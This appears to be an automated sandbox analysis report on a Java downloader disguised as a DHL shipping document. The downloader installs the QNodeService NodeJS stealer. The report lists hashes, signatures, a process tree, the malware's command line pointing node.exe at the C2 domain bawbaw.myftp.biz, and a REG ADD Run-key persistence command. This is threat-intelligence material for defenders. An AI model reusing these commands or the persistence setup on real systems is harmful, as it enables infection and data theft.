Analysis
-
max time kernel
42s -
max time network
132s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
05-11-2020 09:23
Static task
static1
Behavioral task
behavioral1
Sample
DHL AWB#4091013211.jar
Resource
win7v20201028
Behavioral task
behavioral2
Sample
DHL AWB#4091013211.jar
Resource
win10v20201028
General
-
Target
DHL AWB#4091013211.jar
-
Size
73KB
-
MD5
7881552dce01765a7ef287e21a0d7a95
-
SHA1
9c2611f2a5f2f1239f90dc1246f2c38614ffc3f7
-
SHA256
b54c02db8dc8425c9506d27196961ef355014b5fba62fe73db097a817b7be543
-
SHA512
184c9e366bd199ba564bacb49ce1ed61a0b3cd3e6855e9389e709ea0a1b658926c2591f522a14f0df183a70f17f4f2d881c718175089a3e5eff37915ec408ac0
Malware Config
Signatures
-
QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
-
Executes dropped EXE 3 IoCs
pid Process 512 node.exe 3008 node.exe 3516 node.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Windows\CurrentVersion\Run\74bccb84-a24c-41a2-a5ae-038d4dd14479 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\"" reg.exe -
JavaScript code in executable 3 IoCs
resource yara_rule behavioral2/files/0x000100000001ab92-173.dat js behavioral2/files/0x000100000001ab92-176.dat js behavioral2/files/0x000100000001ab92-180.dat js -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 23 wtfismyip.com 24 wtfismyip.com -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 512 node.exe 512 node.exe 512 node.exe 512 node.exe 3008 node.exe 3008 node.exe 3008 node.exe 3008 node.exe 3516 node.exe 3516 node.exe 3516 node.exe 3516 node.exe 3516 node.exe 3516 node.exe 3516 node.exe 3516 node.exe 3516 node.exe 3516 node.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 640 wrote to memory of 1340 640 java.exe 76 PID 640 wrote to memory of 1340 640 java.exe 76 PID 1340 wrote to memory of 512 1340 javaw.exe 80 PID 1340 wrote to memory of 512 1340 javaw.exe 80 PID 512 wrote to memory of 3008 512 node.exe 82 PID 512 wrote to memory of 3008 512 node.exe 82 PID 3008 wrote to memory of 3516 3008 node.exe 83 PID 3008 wrote to memory of 3516 3008 node.exe 83 PID 3516 wrote to memory of 4040 3516 node.exe 85 PID 3516 wrote to memory of 4040 3516 node.exe 85 PID 4040 wrote to memory of 3748 4040 cmd.exe 86 PID 4040 wrote to memory of 3748 4040 cmd.exe 86
Processes
-
C:\ProgramData\Oracle\Java\javapath\java.exejava -jar "C:\Users\Admin\AppData\Local\Temp\DHL AWB#4091013211.jar"1⤵
- Suspicious use of WriteProcessMemory
PID:640 -
C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe"C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\3d701d74.tmp2⤵
- Suspicious use of WriteProcessMemory
PID:1340 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain bawbaw.myftp.biz3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:512 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_bNNA1T\boot.js --hub-domain bawbaw.myftp.biz4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Users\Admin\node-v14.12.0-win-x64\node.exeC:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_bNNA1T\boot.js --hub-domain bawbaw.myftp.biz5⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3516 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "74bccb84-a24c-41a2-a5ae-038d4dd14479" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""6⤵
- Suspicious use of WriteProcessMemory
PID:4040 -
C:\Windows\system32\reg.exeREG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "74bccb84-a24c-41a2-a5ae-038d4dd14479" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""7⤵
- Adds Run key to start application
PID:3748
-
-
-
-
-
-